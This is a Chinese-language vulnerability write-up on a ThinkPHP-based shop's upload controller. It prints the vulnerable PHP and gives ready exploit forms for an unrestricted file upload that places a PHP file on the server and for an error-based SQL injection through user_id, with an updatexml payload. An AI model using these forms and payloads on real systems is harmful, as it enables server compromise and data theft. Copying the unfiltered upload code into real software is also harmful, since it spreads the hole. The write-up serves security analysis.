漏洞点

定位到Application/Home/Controller/AppUploadController.class.php:

namespace Home\Controller;
use Think\Controller;
class AppUploadController extends Controller{
    public function commentUpload(){
        $user_id=$_POST['user_id'];
        $goods_id=$_POST['goods_id'];
        $order_id=$_POST['order_id'];
        if($_FILES) {
            $filename = $_FILES['img']['name'];
            $tmpname = $_FILES['img']['tmp_name'];
            if (move_uploaded_file($tmpname, './Uploads/show/' . $filename)) {
                $path['path']='/Uploads/show/' . $filename;
                $path['create_time']=time();
                $r=M('images')->add($path);
                $show_pic=M('order_comment')->where([
                    'goods_id'=>$goods_id
                ])->getField('show_pic');
                if(!empty($show_pic)) {
                    $show['show_pic'] = $show_pic . ',' . $r;
                    M('order_comment')->where([
                        'goods_id' => $goods_id,
                        'order_id'=>$order_id,
                        'user_id'=>$user_id
                    ])->save($show);
                }else{
                    $show['show_pic'] = $r;
                    M('order_comment')->where([
                        'goods_id' => $goods_id,
                        'order_id'=>$order_id,
                        'user_id'=>$user_id
                    ])->save($show);
                }
            } else {
                $data = json_encode($_FILES);
                echo $data;
            }
        }
    }

    public function headerUpload(){
        $user_id=$_POST['user_id'];
        if($_FILES) {
            $filename = $_FILES['img']['name'];
            $tmpname = $_FILES['img']['tmp_name'];
            if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename)) {
                $head_img['user_header']='/Uploads/header/' . $filename;
                $head_img['user_id']=$user_id;
                $find = M('user_header')->where(array('user_id' => $user_id))->find();
                if (!empty($find)) {//则数据库里已存在头像
                    M('user_header')->where('user_id=%s',$user_id)->save($head_img);
                } else {//数据库里不存在头像
                    M('user_header')->add($head_img);
                }
                echo json_encode('上传成功');
            } else {
                $data = json_encode($_FILES);
                echo $data;
            }
        }
    }

}

文件上传漏洞

接受到文件后,没有过滤的直接进行了move_uploaded_file

public function commentUpload(){
    ...
    $filename = $_FILES['img']['name'];
    $tmpname = $_FILES['img']['tmp_name'];
    if (move_uploaded_file($tmpname, './Uploads/show/' . $filename))
    ...
}

public function headerUpload(){
    ...
    $filename = $_FILES['img']['name'];
    $tmpname = $_FILES['img']['tmp_name'];
    if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename))
    ...

因此直接构造表单,以commentUpload为例:

<html>
<body>

<form action="http://127.0.0.1/index.php/Home/AppUpload/commentUpload" method="post"
enctype="multipart/form-data">
<input type="file" name="img" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

直接上传phpinfo.php,之后访问 http://127.0.0.1/Uploads/show/phpinfo.php


官网demo

SQL注入漏洞

观察一下上面代码中的sql查询语句,在headerUpload函数中:

public function headerUpload(){
    $user_id=$_POST['user_id'];
    if($_FILES) {
        ...
        if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename)) {
            ...
            if (!empty($find)) {//则数据库里已存在头像
                M('user_header')->where('user_id=%s',$user_id)->save($head_img);
            } 
            ...
        }
        ...
    }
}

首先user_id是可控的。我们跟进tp的where方法,定义在 Core/Library/Think/Model.class.php:1783

public function where($where,$parse=null){
    if(!is_null($parse) && is_string($where)) {
        if(!is_array($parse)) {
            $parse = func_get_args();
            array_shift($parse);
        }
        $parse = array_map(array($this->db,'escapeString'),$parse);
        $where =   vsprintf($where,$parse);
    }

此时传入的参数parse即可控的$user_id,然后通过vsprintf($where,$parse)将其格式化输出到where语句中。这里并没有严格的对数据类型进行检验,虽然前面存在escapeString的过滤,但只要不引入引号即可。

要进入该if判断中,需要满足!empty($find),也即数据库里已存在头像。因此可以先前台注册一个用户,登陆后在cookie字段获取到对应的user_id,如图所示user_id=275。

在个人资料处先上传一张头像

确保上传成功后。选择打开下面的exp.html上传,并抓包:

<html>
<body>

<form action="http://127.0.0.1/index.php/Home/AppUpload/headerUpload" method="post"
enctype="multipart/form-data">
<input type="file" name="img" id="file" /> 
<input type="text" name="user_id" value="275">
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

在user_id后添加payload,比如or updatexml(1,concat(0x7e,(user())),0)

查看sql日志:

源链接

Hacking more

...